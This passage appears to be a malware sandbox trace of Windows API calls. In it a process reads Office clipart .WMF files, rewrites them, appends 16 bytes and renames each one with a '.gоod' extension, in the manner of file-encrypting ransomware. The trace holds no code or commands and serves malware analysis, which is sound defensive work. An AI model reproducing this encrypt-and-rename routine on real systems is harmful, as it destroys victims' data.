ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4)) returned 1 [0158.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0158.645] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", lpFilePart=0x0) returned 0x44 [0158.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0158.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.645] GetFileType (hFile=0x650) returned 0x1 [0158.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0158.645] GetFileType (hFile=0x650) returned 0x1 [0158.645] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xac4 [0158.645] ReadFile (in: hFile=0x650, lpBuffer=0x348c678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x348c678*, lpNumberOfBytesRead=0x1faedc88*=0xac4, lpOverlapped=0x0) returned 1 [0158.646] CloseHandle (hObject=0x650) returned 1 [0159.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", lpFilePart=0x0) returned 0x44 [0159.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0159.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.090] GetFileType (hFile=0x644) returned 0x1 [0159.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0159.090] GetFileType (hFile=0x644) returned 0x1 [0159.090] WriteFile (in: hFile=0x644, lpBuffer=0x362ddb0*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x362ddb0*, lpNumberOfBytesWritten=0x1faedb98*=0xad0, lpOverlapped=0x0) returned 1 [0159.091] CloseHandle (hObject=0x644) returned 1 [0159.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", lpFilePart=0x0) returned 0x44 [0159.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0159.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0159.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b0b2ae9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xad0)) returned 1 [0159.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0159.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.gоod")) returned 1 [0159.092] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", lpFilePart=0x0) returned 0x44 [0159.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0159.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x362f040 | out: lpFileInformation=0x362f040*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc)) returned 1 [0159.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0159.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", lpFilePart=0x0) returned 0x44 [0159.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0159.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.093] GetFileType (hFile=0x644) returned 0x1 [0159.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0159.093] GetFileType (hFile=0x644) returned 0x1 [0159.093] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0159.093] ReadFile (in: hFile=0x644, lpBuffer=0x362f458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x362f458*, lpNumberOfBytesRead=0x1faedd28*=0xccc, lpOverlapped=0x0) returned 1 [0159.095] CloseHandle (hObject=0x644) returned 1 [0159.095] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", lpFilePart=0x0) returned 0x44 [0159.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0159.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.095] GetFileType (hFile=0x644) returned 0x1 [0159.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0159.095] GetFileType (hFile=0x644) returned 0x1 [0159.095] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1ccc [0159.095] WriteFile (in: hFile=0x644, lpBuffer=0x36306f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x36306f0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0159.095] CloseHandle (hObject=0x644) returned 1 [0159.096] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", lpFilePart=0x0) returned 0x44 [0159.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0159.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.096] GetFileType (hFile=0x644) returned 0x1 [0159.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0159.096] GetFileType (hFile=0x644) returned 0x1 [0159.096] ReadFile (in: hFile=0x644, lpBuffer=0x36329b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36329b0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0159.938] CloseHandle (hObject=0x644) returned 1 [0159.938] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", lpFilePart=0x0) returned 0x44 [0159.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0159.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.939] GetFileType (hFile=0x644) returned 0x1 [0159.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0159.939] GetFileType (hFile=0x644) returned 0x1 [0159.939] WriteFile (in: hFile=0x644, lpBuffer=0x3435140*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3435140*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0159.939] CloseHandle (hObject=0x644) returned 1 [0159.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", lpFilePart=0x0) returned 0x44 [0159.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0159.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0159.939] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b8ade8f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1cdc)) returned 1 [0159.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0159.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.gоod")) returned 1 [0159.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", lpFilePart=0x0) returned 0x44 [0159.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0159.940] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38acfe0 | out: lpFileInformation=0x38acfe0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74)) returned 1 [0159.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0159.941] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", lpFilePart=0x0) returned 0x44 [0159.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0159.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.941] GetFileType (hFile=0x644) returned 0x1 [0159.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0159.941] GetFileType (hFile=0x644) returned 0x1 [0159.941] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0159.941] ReadFile (in: hFile=0x644, lpBuffer=0x38ad3f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38ad3f8*, lpNumberOfBytesRead=0x1faedd28*=0xd74, lpOverlapped=0x0) returned 1 [0159.942] CloseHandle (hObject=0x644) returned 1 [0159.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", lpFilePart=0x0) returned 0x44 [0159.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0159.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.943] GetFileType (hFile=0x644) returned 0x1 [0159.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0159.943] GetFileType (hFile=0x644) returned 0x1 [0159.943] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1d74 [0159.943] WriteFile (in: hFile=0x644, lpBuffer=0x38ae690*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38ae690*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0159.943] CloseHandle (hObject=0x644) returned 1 [0159.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", lpFilePart=0x0) returned 0x44 [0159.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0159.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0159.943] GetFileType (hFile=0x644) returned 0x1 [0159.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0159.943] GetFileType (hFile=0x644) returned 0x1 [0159.944] ReadFile (in: hFile=0x644, lpBuffer=0x38b0950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x38b0950*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0160.047] CloseHandle (hObject=0x644) returned 1 [0160.047] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", lpFilePart=0x0) returned 0x44 [0160.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0160.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.048] GetFileType (hFile=0x644) returned 0x1 [0160.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0160.048] GetFileType (hFile=0x644) returned 0x1 [0160.048] WriteFile (in: hFile=0x644, lpBuffer=0x34a7108*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34a7108*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0160.179] CloseHandle (hObject=0x644) returned 1 [0160.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF", lpFilePart=0x0) returned 0x44 [0160.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0160.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0160.180] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5bb102a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d84)) returned 1 [0160.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0160.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.gоod")) returned 1 [0160.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", lpFilePart=0x0) returned 0x44 [0160.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0160.181] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3532fd8 | out: lpFileInformation=0x3532fd8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8)) returned 1 [0160.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0160.181] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", lpFilePart=0x0) returned 0x44 [0160.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0160.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.182] GetFileType (hFile=0x644) returned 0x1 [0160.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0160.182] GetFileType (hFile=0x644) returned 0x1 [0160.182] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0160.182] ReadFile (in: hFile=0x644, lpBuffer=0x35333f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x35333f0*, lpNumberOfBytesRead=0x1faedd28*=0x9e8, lpOverlapped=0x0) returned 1 [0160.183] CloseHandle (hObject=0x644) returned 1 [0160.183] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", lpFilePart=0x0) returned 0x44 [0160.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0160.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.183] GetFileType (hFile=0x644) returned 0x1 [0160.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0160.183] GetFileType (hFile=0x644) returned 0x1 [0160.184] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x19e8 [0160.184] WriteFile (in: hFile=0x644, lpBuffer=0x3534688*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3534688*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0160.184] CloseHandle (hObject=0x644) returned 1 [0160.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", lpFilePart=0x0) returned 0x44 [0160.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 